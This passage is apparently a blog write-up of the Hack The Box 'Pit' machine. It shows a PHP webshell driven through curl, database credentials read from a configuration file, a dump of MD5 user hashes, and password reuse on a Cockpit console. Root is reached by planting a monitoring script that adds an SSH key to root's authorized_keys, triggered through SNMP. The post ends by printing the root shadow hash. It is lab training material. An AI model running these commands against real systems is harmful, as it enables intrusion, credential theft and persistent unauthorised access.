└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/52/1.php --data 'password=lol&cmd=id'
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

Good we have command execution! Next obvious step was to upload a php reverse shell, that I did, but CentOS is too tight on permissions and firewall. There was no way I could get a revshell out of that so I did everything else using just this php webshell. Obviously, since I couldn’t get a revshell from it, I will call this our foothold.

user flag

⚠️ There is a script cleaning up whatever is uploaded to michelle’s documents so if you hit a “404 File not found.” just re upload the shell.

Most of the stuff done at this stage is just to understand what the nginx user has access to besides the /var/www/html directory, and if we can get hold of some passwords from there. First thing to check was home directories:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha /home'

We can’t see nothing there. Time to check the html directory for configuration files:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=pwd'
/var/www/html/seeddms51x/data/1048576/53

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha ../../../'
total 0
drwxr-xr-x.  7 nginx nginx  68 Apr 21  2020 .
drwxr-xr-x.  3 root  root   24 Nov  3  2020 ..
drwxr-xr-x.  2 nginx nginx  93 Mar  2  2020 conf
drwxr-xr-x.  9 nginx nginx 117 Apr 21  2020 data
drwxr-xr-x.  6 nginx nginx 101 Dec  3  2019 pear
drwxr-xr-x. 14 root  root  256 May 10 10:58 seeddms
drwxr-xr-x.  3 nginx nginx 207 Jul 30  2019 www

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=ls -lha ../../../conf'
total 40K
drwxr-xr-x. 2 nginx nginx   93 Mar  2  2020 .
drwxr-xr-x. 7 nginx nginx   68 Apr 21  2020 ..
-rw-r--r--. 1 nginx nginx  261 Jan 15  2020 .htaccess
-r--------. 1 nginx nginx  12K Apr 21  2020 settings.xml
-rw-r--r--. 1 nginx nginx  14K Mar 14  2018 settings.xml.template
-rw-r--r--. 1 nginx nginx 4.2K Feb 20  2013 stopwords.txt
  1┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
  2└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/53/1.php --data 'password=lol&cmd=cat ../../../conf/settings.xml'
  3<?xml version="1.0" encoding="UTF-8"?>
  4<configuration>
  5  <site>
  6    <!-- siteName: Name of site used in the page titles. Default: SeedDMS
  7       - footNote: Message to display at the bottom of every page
  8       - printDisclaimer: if true the disclaimer message the lang.inc files will be print on the bottom of the page
  9       - language: default language (name of a subfolder in folder "languages")
 10       - theme: default style (name of a subfolder in folder "styles")
 11    -->
 12    <display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0">  
 13    </display>
 14    <!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status.
 15       - viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS)
 16       - enableConverting: enable/disable converting of files
 17       - enableEmail: enable/disable automatic email notification
 18       - enableUsersView: enable/disable group and user view for all users
 19       - enableFullSearch: false to don't use fulltext search
 20       - enableLanguageSelector: false to don't show the language selector after login
 21       - enableClipboard: false to hide the clipboard
 22       - enableFolderTree: false to don't show the folder tree
 23       - expandFolderTree: 0 to start with tree hidden
 24       -                   1 to start with tree shown and first level expanded
 25       -                   2 to start with tree shown fully expanded     
 26       - stopWordsFile: path to stop word file for indexer
 27       - sortUsersInList: how to sort users in lists ('fullname' or '' (default))
 28    -->   
 29    <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
 30    </edition> 
 31    <!-- enableCalendar: enable/disable calendar
 32       - calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year)
 33       - firstDayOfWeek: first day of the week (0=sunday, 6=saturday)
 34    -->  
 35    <calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0">
 36    </calendar>
 37  <webdav enableWebdavReplaceDoc="true"/></site>
 38  
 39  <system>
 40    <!-- rootDir: Path to where SeedDMS is located
 41       - httpRoot: The relative path in the URL, after the domain part. Do not include the
 42       -           http:// prefix or the web host name. e.g. If the full URL is
 43	     -           http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/".
 44	     -           If the URL is http://www.example.com/, set $_httpRoot = "/".
 45       - contentDir: Where the uploaded files are stored (best to choose a directory that
 46       -             is not accessible through your web-server)
 47       - stagingDir: Where partial file uploads are saved
 48       - luceneDir: Where the lucene fulltext index iѕ saved
 49       - logFileEnable: set false to disable log system
 50       - logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly)
 51       - enableLargeFileUpload: support for jumploader
 52       - partitionsize: size of chunk uploaded by jumploader
 53       - dropFolderDir: where files for document upload are located
 54       - cacheDir: where the preview images are saved
 55    -->
 56    <server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false">
 57    </server>
 58    
 59    <!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true
 60       -                   note: guest login should be used only in a trusted environment
 61			 - enablePasswordForgotten: Allow users to reset their password
 62       - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
 63       - enableUserImage: enable users images
 64       - disableSelfEdit: if true user cannot edit his own profile
 65			 - passwordStrength: minimum strength of password, set to 0 to disable
 66			 - passwordExpiration: number of days after password expires
 67			 - passwordHistory: number of remembered passwords
 68			 - passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced)
 69			 - encryptionKey: arbitrary string used for creating identifiers
 70    -->    
 71    <authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">
 72      <connectors>
 73        <!-- ***** CONNECTOR LDAP  *****
 74           - enable: enable/disable connector
 75           - type: type of connector ldap / AD
 76           - host: hostname of the authentification server
 77           -       URIs are supported, e.g.: ldaps://ldap.host.com
 78           - port: port of the authentification server
 79           - baseDN: top level of the LDAP directory tree
 80        -->  
 81        <connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw="">
 82        </connector>
 83        <!-- ***** CONNECTOR Microsoft Active Directory  *****
 84           - enable: enable/disable connector
 85           - type: type of connector ldap / AD
 86           - host: hostname of the authentification server
 87           - port: port of the authentification server
 88           - baseDN: top level of the LDAP directory tree
 89           - accountDomainName: sample: example.com
 90        -->  
 91        <connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw="">
 92        </connector>
 93      </connectors>
 94    </authentication>
 95    <!--
 96       - dbDriver: DB-Driver used by adodb (see adodb-readme)
 97       - dbHostname: DB-Server
 98       - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
 99       - dbUser: username for database-access
100       - dbPass: password for database-access
101    -->    
102    <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
103    </database>
104    <!-- smtpServer: SMTP Server hostname
105       - smtpPort: SMTP Server port
106       - smtpSendFrom: Send from
107    -->    
108    <smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/>    
109  </system>
110 
111  
112  <advanced>
113    <!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php
114       - rootFolderID: ID of root-folder (mostly no need to change)
115       - titleDisplayHack: Workaround for page titles that go over more than 2 lines.
116    -->  
117    <display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false">
118    </display>
119    <!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change)
120       - adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control
121       -          NOTE: works only with local autentication (no LDAP)
122    --> 
123    <authentication guestID="2" adminIP="">
124    </authentication>
125    <!-- enableAdminRevApp: false to don't list administrator as reviewer/approver
126       - versioningFileName: the name of the versioning info file created by the backup tool
127       - workflowMode: 'traditional' or 'advanced'
128       - enableVersionDeletion: allow to delete versions after approval
129       - enableVersionModification: allow to modify versions after approval
130       - enableDuplicateDocNames: allow duplicate names in a folder
131    --> 
132    <edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false">
133    </edition>
134		<!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver
135		-->
136    <notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false">
137    </notification>
138    <!-- coreDir: Path to SeedDMS_Core (optional)
139       - luceneClassDir: Path to SeedDMS_Lucene (optional)
140       - contentOffsetDir: To work around limitations in the underlying file system, a new 
141       -                   directory structure has been devised that exists within the content 
142       -                   directory ($_contentDir). This requires a base directory from which 
143       -                   to begin. Usually leave this to the default setting, 1048576, but can 
144       -                   be any number or string that does not already exist within $_contentDir.	
145       - maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirs in ext3) for a multi level content directory.
146       - updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds
147       - extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
148    -->
149    <server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10">
150    </server>
151    <converters target="fulltext">
152		 <converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter>
153     <converter mimeType="application/msword">catdoc %s</converter>
154     <converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter>
155     <converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
156     <converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
157     <converter mimeType="text/plain">cat %s</converter>
158    </converters>
159
160  </advanced>
161
162<extensions><extension name="example"/></extensions></configuration>

Within this file there’s the db password used for the SeedDMS application:

<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">

Now, I just decided to get the damn users table from the database and maybe I would get lucky.

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/54/1.php --data 'password=lol&cmd=mysql -u seeddms -pied^ieY6xoquu seeddms -e "show tables"'
Tables_in_seeddms
tblACLs
tblAttributeDefinitions
tblCategory
tblDocumentApproveLog
tblDocumentApprovers
tblDocumentAttributes
tblDocumentCategory
tblDocumentContent
tblDocumentContentAttributes
tblDocumentFiles
tblDocumentLinks
tblDocumentLocks
tblDocumentReviewLog
tblDocumentReviewers
tblDocumentStatus
tblDocumentStatusLog
tblDocuments
tblEvents
tblFolderAttributes
tblFolders
tblGroupMembers
tblGroups
tblKeywordCategories
tblKeywords
tblMandatoryApprovers
tblMandatoryReviewers
tblNotify
tblSessions
tblUserImages
tblUserPasswordHistory
tblUserPasswordRequest
tblUsers
tblVersion
tblWorkflowActions
tblWorkflowDocumentContent
tblWorkflowLog
tblWorkflowMandatoryWorkflow
tblWorkflowStates
tblWorkflowTransitionGroups
tblWorkflowTransitionUsers
tblWorkflowTransitions
tblWorkflows

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ curl http://dms-pit.htb/seeddms51x/data/1048576/54/1.php --data 'password=lol&cmd=mysql -u seeddms -pied^ieY6xoquu seeddms -e "select * from tblUsers;"'
id	login	pwd	fullName	email	language	theme	comment	role	hidden	pwdExpiration	loginfailures	disabled	quota	homefolder
1	admin	155dd275b4cb74bd1f80754b61148863	Administrator	admin@pit.htb	en_GB			1	0	NULL	0	0	0	NULL
2	guest	NULL	Guest User	NULL				2	0	NULL	0	0	0	NULL
3	michelle	2345f10bb948c5665ef91f6773b3e455	Michelle	michelle@pit.htb	en_GB	bootstrap		0	0	NULL	0	0	0NULL
4	jack	682d305fdaabc156430c4c6f6f5cc65d	Jack	jack@dms-pit.htb	en_GB	bootstrap		0	0	NULL	0	0	0	NULL

Looks like md5 hashes (and a quick echo -n michelle | md5sum confirms it because it matches the 2345f10bb948c5665ef91f6773b3e455 hash), so I tried to see if there where already known hashes on hashes.com:

hashes

No luck on the other two, only michelle’s is known, but that one I already knew too. 🤔

So, I knew there were at least 2 users on the system (from the snmpwalk output), and a third one that only showed up on SeedDMS site (jack). I had 2 passwords available, one for the MySQL database seeddms user and another for the michelle user on the SeedDMS website. The point of having another password couldn’t be just to gain admin priviledges on the site, that would bring me nothing new. With a new password, the only thing I could use it for was for gain shell access to a user, but since there were no new passwords (and cracking passwords is rarelly the way to go on HTB), I decided to give it a try on the Cockpit website for all the users and passwords I knew at the moment.

Combos to try:

  • michelle:michelle
  • michelle:ied^ieY6xoquu
  • jack:michelle
  • jack:ied^ieY6xoquu

cockpit-login

NOW WE’RE GETTING SOMEWHERE 🥳! michelle:ied^ieY6xoquu did the trick! Now it’s just a matter of ssh login to the user and get the flag.

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh michelle@pit.htb
michelle@pit.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

Well, maybe not. We need to add our key to the authorized_keys file to be able to login. Luckily for us, Cockpit has a webterminal (that works just like a regular shell) where you can put you ssh public key on the authorized_keys file, or you can just edit the michelle’s account (https://dms-pit.htb:9090/users#/michelle) and add an SSH key to it.

After this (or even running just the webterminal), we can login and get the user flag:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh michelle@pit.htb
Web console: https://pit.htb:9090/

Last login: Sat Jun 19 21:12:02 2021 from 10.10.14.240
[michelle@pit ~]$ cat user.txt 
07c2cf0b0d852cdb47876c827e43f573
[michelle@pit ~]$ 

root flag

root is usually obtained by exploiting some “sudo’able” command to be able to get a shell, revshell or just “cat” the root.txt file. So, let’s see what we can do with sudo this time:

[michelle@pit ~]$ sudo -l
sudo: unable to open /run/sudo/ts/michelle: Permission denied

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for michelle: 
sudo: unable to stat /var/db/sudo: Permission denied
Sorry, user michelle may not run sudo on pit.
[michelle@pit ~]$ 

Hummmm… OK 🤔. This is new (it was the first time it happened to me). Maybe it’s just some suid executable that we can exploit:

[michelle@pit ~]$ find / -perm -4000 2> /dev/null
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/sudo
/usr/bin/passwd

Nothing out of the ordinary. Damn :frowning:. Time to run linpeas to find everything for me (output).

One thing caught my eye on the linpeas output:

[+] Files with ACLs (limited to 50)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls
# file: /usr/local/monitoring
USER   root      rwx     
user   michelle  -wx     
GROUP  root      rwx     
mask             rwx     
other            ---     

So, michelle had access to write to /usr/local/monitoring. Is this related to the monitor file we saw getting executed for SNMP output?

[michelle@pit ~]$ cat /usr/bin/monitor 
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done

Definitely it’s this one! So to get root we just need to create a file named check<something>sh and add it to the /usr/local/monitoring directory. That script can just append our ssh public key to the root’s authorized_keys file, and then just force it to run via snmpwalk. Since snmpd is running as root, there should be no problem achieving root now.

[michelle@pit ~]$ vi check-r3pek-pwn.sh 
[michelle@pit ~]$ cat check-r3pek-pwn.sh 
#!/bin/bash
echo ssh-ed25519 <SNIP> r3pek@trinity.r3pek.org >> /root/.ssh/authorized_keys
echo pwned
[michelle@pit ~]$ cp check-r3pek-pwn.sh /usr/local/monitoring/
[michelle@pit ~]$ 

.1.3.6.1.4.1.8072.1.3.2 is the NET-SNMP-EXTEND-MIB OID

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ snmpwalk -v2c -c public pit.htb .1.3.6.1.4.1.8072.1.3.2
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
              total        used        free      shared  buff/cache   available
Mem:          3.8Gi       521Mi       2.5Gi        32Mi       860Mi       3.0Gi
Swap:         1.9Gi          0B       1.9Gi
Database status
OK - Connection to database successful.
pwned
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user

                Labeling   MLS/       MLS/                          
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

guest_u         user       s0         s0                             guest_r
root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
user_u          user       s0         s0                             user_r
xguest_u        user       s0         s0                             xguest_r
login

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
michelle             user_u               s0                   *
root                 unconfined_u         s0-s0:c0.c1023       *
System uptime
 21:47:59 up 1 day, 11:44,  2 users,  load average: 0.00, 0.01, 0.04
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 32
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING:               total        used        free      shared  buff/cache   available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem:          3.8Gi       521Mi       2.5Gi        32Mi       860Mi       3.0Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap:         1.9Gi          0B       1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: pwned
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING:                 Labeling   MLS/       MLS/                          
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING: SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: guest_u         user       s0         s0                             guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: user_u          user       s0         s0                             user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: xguest_u        user       s0         s0                             xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING: Login Name           SELinux User         MLS/MCS Range        Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: __default__          unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: michelle             user_u               s0                   *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: root                 unconfined_u         s0-s0:c0.c1023       *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".32 = STRING:  21:47:59 up 1 day, 11:44,  2 users,  load average: 0.00, 0.01, 0.04
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".32 = No more variables left in this MIB View (It is past the end of the MIB tree)

Now that our script have run (“pwned” is printed), we just need to login as root:

┌─[r3pek]-[~/CTF/HTB/Machines/Pit]
└─$ ssh root@pit.htb
Web console: https://pit.htb:9090/

Last failed login: Sat Jun 19 19:27:56 EDT 2021 on web console
There were 2 failed login attempts since the last successful login.
Last login: Sat Jun 19 07:15:46 2021 from 10.10.16.49
[root@pit ~]# cat root.txt 
d90c512d827c32b6e0f116b1d81a2b5d
[root@pit ~]# 

And we have our root flag 😉

root password hash

[root@pit ~]# head -n 1 /etc/shadow
root:$6$4ZnZ0Iv3NzFIZtKa$tA78wgAwaBBSg96ecMRPYIogQmANo/9pJhHmf06bCmbKukMDM9rdT2Mdc6UhwD1raDzXIrk.zjQ9lkJIoLShE.:18757:0:99999:7:::